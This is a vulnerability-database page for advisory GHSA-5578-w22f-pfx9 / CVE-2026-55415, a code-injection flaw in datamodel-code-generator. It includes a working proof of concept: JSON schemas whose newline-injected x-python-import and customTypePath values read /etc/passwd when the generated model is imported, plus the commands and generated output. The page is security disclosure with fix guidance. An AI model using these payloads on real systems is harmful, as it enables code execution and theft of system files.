Vulnerability-Lookup

GHSA-5578-W22F-PFX9

Vulnerability from github – Published: 2026-07-28 21:40 – Updated: 2026-07-28 21:40

Summary

datamodel-code-generator vulnerable to code injection via `x-python-import` / `customTypePath` in generated import statements

Details

Summary

A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that imports the generated model. The x-python-import and customTypePath schema extensions flow, unsanitized, into the import statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the from … import … line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates /etc/passwd). It survives the v0.61.0 security release that fixed the related x-python-type, default_factory, GraphQL-union-description, and validators sinks those fixes did not cover this sibling path.

Details

The sink is Import.from_full_path and Imports.create_line:

src/datamodel_code_generator/imports.py:35 — from_full_path() only does class_path.split(".") and preserves every other character, including newlines: python @classmethod @lru_cache def from_full_path(cls, class_path: str) -> Import: split_class_path: list[str] = class_path.split(".") return cls(import_=split_class_path[-1], from_=".".join(split_class_path[:-1]) or None)
src/datamodel_code_generator/imports.py:64 — create_line() renders the result verbatim: python def create_line(self, from_: str | None, imports: set[str]) -> str: if from_: return f"from {from_} import {', '.join(self._set_alias(from_, imports))}" return "\n".join(f"import {i}" for i in self._set_alias(from_, imports))

There is no check that the path segments are Python identifiers, contrast validators._validate_dotted_python_identifier_path, which the same v0.61.0 release added for the validators config, and types.is_python_type_annotation, added for x-python-type. The two extensions below were left unguarded.

Two schema-controlled, default-config entry points reach this sink:

x-python-import — src/datamodel_code_generator/parser/jsonschema.py:1851-1858 (get_ref_data_type): python x_python_import = ref_schema.extras.get("x-python-import") if isinstance(x_python_import, dict): module = x_python_import.get("module") type_name = x_python_import.get("name") if module and type_name: full_path = f"{module}.{type_name}" import_ = Import.from_full_path(full_path) self.imports.append(import_)
customTypePath — declared at src/datamodel_code_generator/parser/jsonschema.py:438, consumed at :4118 and :4365 via get_data_type_from_full_path(custom_type_path, is_custom_type=True) → the same Import.from_full_path sink.

Mechanism. With name = "getcwd\nprint(...)", full_path = "os.getcwd\nprint(...)". from_full_path splits only on ., so (provided the injected statement contains no .) it yields from_="os" and import_="getcwd\nprint(...)". create_line then emits:

from os import getcwd
print(...)        # ← attacker statement at module scope, executes on import

The dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. print(*open('/etc/passwd'), file=open('/tmp/loot','w'), sep='', end='') reads and exfiltrates a file using no .).

None of the six v0.61.0 fix commits (aec47bc4, b73abb5c, 17fc235e, 2c93c9b7, a43d0290, 5fdba4a0) touched x-python-import, customTypePath, or imports.py; imports.py was last modified ~5 months before the release. This is therefore an incomplete fix: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.

PoC

Self contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b

Default invocation, no special flags, on the patched release (commit 227ffe85ee2dcfc79336fbb14ad64c02a166b65a, v0.61.0).

payload_a.json:

{
  "type": "object",
  "title": "Root",
  "required": ["f"],
  "properties": { "f": { "$ref": "#/$defs/Evil" } },
  "$defs": {
    "Evil": {
      "type": "object",
      "x-python-import": {
        "module": "os",
        "name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
      }
    }
  }
}

Generate and import:

datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
python -c "import model"

Generated model.py (verbatim, the breakout sits at module scope):

from __future__ import annotations

from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from pydantic import BaseModel
...

Importing model reads /etc/passwd and writes an exact copy to /tmp/dmcg_xpi_loot:

$ head -1 /tmp/dmcg_xpi_loot
root:x:0:0:root:/root:/bin/bash

Confirmed under both the default output (pydantic v1) and --output-model-type pydantic_v2.BaseModel. The customTypePath variant reproduces identically:

{ "type":"object","title":"Root","required":["f"],
  "properties":{ "f":{ "type":"object",
    "customTypePath":"os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')" }}}

A benign control (x-python-import: {"module":"decimal","name":"Decimal"}) produces clean from decimal import Decimal and no execution. A complete self-contained validation harness, run.sh plus control.json, payload_a.json, payload_b.json, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).

Suggested fix. Validate every dotted segment of module, name, and customTypePath as a Python identifier before building the import (reuse validators._validate_dotted_python_identifier_path), and/or reject non-identifier paths centrally inside Import.from_full_path.

Impact

Arbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker's code with the importing process's privileges. The PoC demonstrates arbitrary local file read (/etc/passwd); the same primitive yields full RCE.

Maintainer status

Confirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1

Fix summary: validate x-python-import and customTypePath values as dotted Python identifier paths before using them in generated imports or type paths.

Release status: not fixed in 0.63.0; customTypePath was introduced in 0.11.6, so affected versions are >= 0.11.6, <= 0.63.0. This advisory should remain unpublished until the private PR is merged and a patched release is available.

Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.63.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "datamodel-code-generator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.11.6"
            },
            {
              "fixed": "0.64.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55415"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T21:40:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "#### Summary\n\nA malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that **imports** the generated model. The `x-python-import` and `customTypePath` schema extensions flow, unsanitized, into the `import` statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the `from \u2026 import \u2026` line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content\u2013driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates `/etc/passwd`). It survives the v0.61.0 security release that fixed the related `x-python-type`, `default_factory`, GraphQL-union-description, and `validators` sinks  those fixes did not cover this sibling path.\n\n#### Details\n\nThe sink is `Import.from_full_path` and `Imports.create_line`:\n\n- `src/datamodel_code_generator/imports.py:35` \u2014 `from_full_path()` only does `class_path.split(\".\")` and preserves every other character, **including newlines**:\n  ```python\n  @classmethod\n  @lru_cache\n  def from_full_path(cls, class_path: str) -\u003e Import:\n      split_class_path: list[str] = class_path.split(\".\")\n      return cls(import_=split_class_path[-1], from_=\".\".join(split_class_path[:-1]) or None)\n  ```\n- `src/datamodel_code_generator/imports.py:64` \u2014 `create_line()` renders the result verbatim:\n  ```python\n  def create_line(self, from_: str | None, imports: set[str]) -\u003e str:\n      if from_:\n          return f\"from {from_} import {\u0027, \u0027.join(self._set_alias(from_, imports))}\"\n      return \"\\n\".join(f\"import {i}\" for i in self._set_alias(from_, imports))\n  ```\n\nThere is no check that the path segments are Python identifiers, contrast `validators._validate_dotted_python_identifier_path`, which the same v0.61.0 release added for the `validators` config, and `types.is_python_type_annotation`, added for `x-python-type`. The two extensions below were left unguarded.\n\nTwo schema-controlled, **default-config** entry points reach this sink:\n\n1. **`x-python-import`** \u2014 `src/datamodel_code_generator/parser/jsonschema.py:1851-1858` (`get_ref_data_type`):\n   ```python\n   x_python_import = ref_schema.extras.get(\"x-python-import\")\n   if isinstance(x_python_import, dict):\n       module = x_python_import.get(\"module\")\n       type_name = x_python_import.get(\"name\")\n       if module and type_name:\n           full_path = f\"{module}.{type_name}\"\n           import_ = Import.from_full_path(full_path)\n           self.imports.append(import_)\n   ```\n2. **`customTypePath`** \u2014 declared at `src/datamodel_code_generator/parser/jsonschema.py:438`, consumed at `:4118` and `:4365` via `get_data_type_from_full_path(custom_type_path, is_custom_type=True)` \u2192 the same `Import.from_full_path` sink.\n\n**Mechanism.** With `name = \"getcwd\\nprint(...)\"`, `full_path = \"os.getcwd\\nprint(...)\"`. `from_full_path` splits only on `.`, so (provided the injected statement contains no `.`) it yields `from_=\"os\"` and `import_=\"getcwd\\nprint(...)\"`. `create_line` then emits:\n```python\nfrom os import getcwd\nprint(...)        # \u2190 attacker statement at module scope, executes on import\n```\nThe dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. `print(*open(\u0027/etc/passwd\u0027), file=open(\u0027/tmp/loot\u0027,\u0027w\u0027), sep=\u0027\u0027, end=\u0027\u0027)` reads and exfiltrates a file using no `.`).\n\nNone of the six v0.61.0 fix commits (`aec47bc4`, `b73abb5c`, `17fc235e`, `2c93c9b7`, `a43d0290`, `5fdba4a0`) touched `x-python-import`, `customTypePath`, or `imports.py`; `imports.py` was last modified ~5 months before the release. This is therefore an **incomplete fix**: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.\n\n#### PoC\nSelf contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b\n\nDefault invocation, no special flags, on the patched release (commit `227ffe85ee2dcfc79336fbb14ad64c02a166b65a`, v0.61.0).\n\n`payload_a.json`:\n```json\n{\n  \"type\": \"object\",\n  \"title\": \"Root\",\n  \"required\": [\"f\"],\n  \"properties\": { \"f\": { \"$ref\": \"#/$defs/Evil\" } },\n  \"$defs\": {\n    \"Evil\": {\n      \"type\": \"object\",\n      \"x-python-import\": {\n        \"module\": \"os\",\n        \"name\": \"getcwd\\nprint(*open(\u0027/etc/passwd\u0027),file=open(\u0027/tmp/dmcg_xpi_loot\u0027,\u0027w\u0027),sep=\u0027\u0027,end=\u0027\u0027)\"\n      }\n    }\n  }\n}\n```\nGenerate and import:\n```bash\ndatamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py\npython -c \"import model\"\n```\nGenerated `model.py` (verbatim, the breakout sits at module scope):\n```python\nfrom __future__ import annotations\n\nfrom os import getcwd\n\nprint(*open(\u0027/etc/passwd\u0027), file=open(\u0027/tmp/dmcg_xpi_loot\u0027, \u0027w\u0027), sep=\u0027\u0027, end=\u0027\u0027)\nfrom os import getcwd\n\nprint(*open(\u0027/etc/passwd\u0027), file=open(\u0027/tmp/dmcg_xpi_loot\u0027, \u0027w\u0027), sep=\u0027\u0027, end=\u0027\u0027)\nfrom pydantic import BaseModel\n...\n```\nImporting `model` reads `/etc/passwd` and writes an exact copy to `/tmp/dmcg_xpi_loot`:\n```\n$ head -1 /tmp/dmcg_xpi_loot\nroot:x:0:0:root:/root:/bin/bash\n```\nConfirmed under both the default output (pydantic v1) and `--output-model-type pydantic_v2.BaseModel`. The `customTypePath` variant reproduces identically:\n```json\n{ \"type\":\"object\",\"title\":\"Root\",\"required\":[\"f\"],\n  \"properties\":{ \"f\":{ \"type\":\"object\",\n    \"customTypePath\":\"os.getcwd\\nprint(*open(\u0027/etc/passwd\u0027),file=open(\u0027/tmp/dmcg_ctp_loot\u0027,\u0027w\u0027),sep=\u0027\u0027,end=\u0027\u0027)\" }}}\n```\nA benign control (`x-python-import: {\"module\":\"decimal\",\"name\":\"Decimal\"}`) produces clean `from decimal import Decimal` and no execution. A complete self-contained validation harness, `run.sh` plus `control.json`, `payload_a.json`, `payload_b.json`, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).\n\n**Suggested fix.** Validate every dotted segment of `module`, `name`, and `customTypePath` as a Python identifier before building the import (reuse `validators._validate_dotted_python_identifier_path`), and/or reject non-identifier paths centrally inside `Import.from_full_path`.\n\n#### Impact\n\nArbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker\u0027s code with the importing process\u0027s privileges. The PoC demonstrates arbitrary local file read (`/etc/passwd`); the same primitive yields full RCE.\n\n### Maintainer status\n\nConfirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1\n\nFix summary: validate `x-python-import` and `customTypePath` values as dotted Python identifier paths before using them in generated imports or type paths.\n\nRelease status: not fixed in `0.63.0`; `customTypePath` was introduced in `0.11.6`, so affected versions are `\u003e= 0.11.6, \u003c= 0.63.0`. This advisory should remain unpublished until the private PR is merged and a patched release is available.\n\nValidation: `uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py` passed locally; `uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py` passed.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-5578-w22f-pfx9",
  "modified": "2026-07-28T21:40:20Z",
  "published": "2026-07-28T21:40:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-5578-w22f-pfx9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/commit/577d49569c2254c371a97e495020ae2238a73b84"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koxudaxi/datamodel-code-generator"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.64.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "datamodel-code-generator vulnerable to code injection via `x-python-import` / `customTypePath` in generated import statements"
}

CVE-2026-55415 (GCVE-0-2026-55415)

Vulnerability from cvelistv5 – Published: 2026-07-28 21:37 – Updated: 2026-07-28 21:37

Title

datamodel-code-generator vulnerable to code injection via `x-python-import` / `customTypePath` in generated import statements

Summary

datamodel-code-generator generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. From 0.11.6 until 0.64.0, datamodel-code-generator allows attacker-controlled x-python-import or customTypePath schema extensions to reach src/datamodel_code_generator/parser/jsonschema.py and generated import handling through Import.from_full_path and Imports.create_line in src/datamodel_code_generator/imports.py, allowing a newline to break out of an import statement and execute Python code when the generated model is imported. This issue is fixed in version 0.64.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/koxudaxi/datamodel-code-genera…	x_refsource_CONFIRM
https://github.com/koxudaxi/datamodel-code-genera…	x_refsource_MISC
https://github.com/koxudaxi/datamodel-code-genera…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
koxudaxi	datamodel-code-generator	Affected: >= 0.11.6, < 0.64.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "datamodel-code-generator",
          "vendor": "koxudaxi",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.11.6, \u003c 0.64.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "datamodel-code-generator generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. From 0.11.6 until 0.64.0, datamodel-code-generator allows attacker-controlled x-python-import or customTypePath schema extensions to reach src/datamodel_code_generator/parser/jsonschema.py and generated import handling through Import.from_full_path and Imports.create_line in src/datamodel_code_generator/imports.py, allowing a newline to break out of an import statement and execute Python code when the generated model is imported. This issue is fixed in version 0.64.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-95",
              "description": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (\u0027Eval Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-28T21:37:55.642Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-5578-w22f-pfx9",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-5578-w22f-pfx9"
        },
        {
          "name": "https://github.com/koxudaxi/datamodel-code-generator/commit/577d49569c2254c371a97e495020ae2238a73b84",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/koxudaxi/datamodel-code-generator/commit/577d49569c2254c371a97e495020ae2238a73b84"
        },
        {
          "name": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.64.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.64.0"
        }
      ],
      "source": {
        "advisory": "GHSA-5578-w22f-pfx9",
        "discovery": "UNKNOWN"
      },
      "title": "datamodel-code-generator vulnerable to code injection via `x-python-import` / `customTypePath` in generated import statements"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55415",
    "datePublished": "2026-07-28T21:37:55.642Z",
    "dateReserved": "2026-06-16T21:48:43.125Z",
    "dateUpdated": "2026-07-28T21:37:55.642Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-5578-W22F-PFX9

Summary

Details

PoC

Impact

Maintainer status

CVE-2026-55415 (GCVE-0-2026-55415)

Tags

Sightings

Nomenclature